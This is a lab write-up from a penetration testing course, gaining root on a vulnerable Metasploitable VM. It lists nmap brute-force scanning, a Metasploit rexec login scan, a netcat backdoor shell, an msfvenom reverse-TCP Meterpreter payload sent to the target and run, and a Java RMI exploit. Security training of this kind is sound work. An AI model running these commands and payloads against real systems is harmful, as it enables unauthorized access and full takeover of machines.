👾Metasploitable (Custom 3)

This is a custom vulnerable machine for a penetration testing module. I had to perform certain tasks and gain root privileges within a given set of time.

Contents

chevron-rightRexec-Brute NSEhashtag
chevron-rightNetcat / Msfvenomhashtag
chevron-rightJava RMIhashtag

Recon: N.A

Reconnaissance was not needed for this exercise

Scanning: Nmap

The target IP address was 192.168.249.150

  • -p-: All ports

  • --open: Only show open (or possibly open) ports

  • -sV: Probe open ports to determine service/version info

  • -A: Enable OS detection, version detection, script scanning, and traceroute

  • -O: Enable OS detection

  • -oA: Output in the three major formats at once

👍 Enumeration: "It Worked" Rexec-Brute (NSE)

There was a hint to investigate port 512

  • nmap -sV -p 512 --script=rexec-brute 192.168.249.150

🤔💭 It seems like the above results are using the default login credentials

The next task was to find out what information was being transferred when accessing the port

  • msfconsole

  • search rexec

  • use auxiliary/scanner/rservices/rexec_login

  • run

The secret message was revealed as the following:

👍 Exploitation: "Succeeded" Netcat / Msfvenom

The next task requires a Meterpreter session. Hence I will make use of the following vulnerability:

(Remote Host) Initiating a connection to the port 1524 on the remote host:

  • nc 192.168.249.150 1524

  • whoami

(Local Host 👿) Creating a payload using Msfvenom:

  • msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.249.140 lport=8999 -f elf -o payload.elf

(Remote Host 🙈 ) Preparing the netcat listener to receive the file 'payload.elf'

  • netcat -nlvp 9899 > payload.elf

(Local Host 👿) Sending the file from the localhost:

  • netcat -w 2 192.168.249.150 9899 < payload.elf

(Remote Host 🙈) Execute the 'ls' command to verify if the file 'payload.elf' has been successfully transferred from the local host to the remote host

  • ls

(Local Host 👿) Start a listener using Msfconsole:

  • msfconsole

  • use exploit/multi/handler

  • set lhost 192.168.249.140

  • set lport 8999 (the same port number as the payload created using Msfvenom)

  • options

  • run

(Remote Host 🙈) I will need to change the file permissions for 'payload.elf'

  • ls -la | grep payload.elf

  • chmod 777 payload.elf

  • ls -la | grep payload.elf

Executing the file 'payload.elf'

  • ./payload.elf

(Remote Host 🙈) The following is an example of using a n unsuitable payload:

📔 Note: If by any chance that the output error is 'segmentation fault', it could be due to the usage of a staged payload 'linux/x86/meterpreter/everse_tcp' instead of a stageless payload 'linux/x86/meterpreter_reverse_tcp'

Reference: https://github.com/rapid7/metasploit-framework/issues/12142#issuecomment-516057212arrow-up-right

(Local Host 👿) After executing the payload on the remote host, I gained a Meterpreter session on my local host machine

  • getuid

  • sysinfo

😄 Executing 'getuid' reflected that the Sever username is 'root'!

👍 Exploitation: "Succeeded" Java RMI (Msfconsole)

I will attempt to exploit the Telnet service on port 23 using the log in credentials that I managed to acquire from earlier

  • msfconsole

  • search type:exploit java rmi

  • use exploit/multi/misc/java_rmi_server

  • set rhosts 192.168.249.150

  • set rport 58931

  • set lhost 192.168.249.140

  • set lport 8889

  • run

🤔💭 I am getting the following errors:

🤔💭 However it did mention that 'Meterpreter session 1 opened'. Hence, I executed 'sessions' just to check if there was indeed one

  • sessions

  • sessions 1

  • getuid

  • sysinfo

😄 Executing 'getuid' reflected that the Sever username is 'root'!

Last updated